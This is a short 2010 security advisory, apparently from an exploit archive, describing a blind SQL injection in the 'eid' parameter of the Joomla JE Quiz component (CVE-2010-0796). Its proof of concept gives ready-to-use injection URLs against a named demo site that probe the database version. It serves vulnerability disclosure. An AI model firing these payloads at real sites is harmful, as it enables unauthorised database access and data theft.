Topic:	Joomla (JE Quiz component 1.0) BLIND SQL Injection Vulnerability
Credit:	B-HUNT3|2
Date:	2010.03.04
CWE:	CWE-89 (Show similar)
CVE:	CVE-2010-0796 (Show details) Use CVE to see details like: - CVSS2, - Affected Software, - References

[~]>> ...[BEGIN ADVISORY]...

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[~]>> TITLE: Joomla (JE Quiz component) BLIND SQL Injection Vulnerability
[~]>> LANGUAGE: PHP
[~]>> DORK: N/A
[~]>> RESEARCHER: B-HUNT3|2
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com
[~]>> TYPE: COMMERCIAL
[~]>> PRICE: $20.00
[~]>> TESTED ON: Demo Site

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[~]>> DESCRIPTION: Input var eid is vulnerable to SQL Code Injection
[~]>> AFFECTED VERSIONS: Confirmed in 1.b01 but probably other versions also
[~]>> RISK: Medium/High
[~]>> IMPACT: Execute Arbitrary SQL queries

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[~]>> PROOF OF CONCEPT:

[~]>>
http://demo.joomlaextensions.co.in/index.php?option=com_jequizmanagement&view=question&eid=[SQL]&Itemid=163

[~]>> {RETURN TRUE::RETURN FALSE}

[~]>>
http://demo.joomlaextensions.co.in/index.php?option=com_jequizmanagement&view=question&eid=1+AND+1=if(substring(
@@version,1,1)=5,1,0)&Itemid=163
[~]>>
http://demo.joomlaextensions.co.in/index.php?option=com_jequizmanagement&view=question&eid=1+AND+1=if(substring(
@@version,1,1)=4,1,0)&Itemid=163

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[~]>> ...[END ADVISORY]...

References: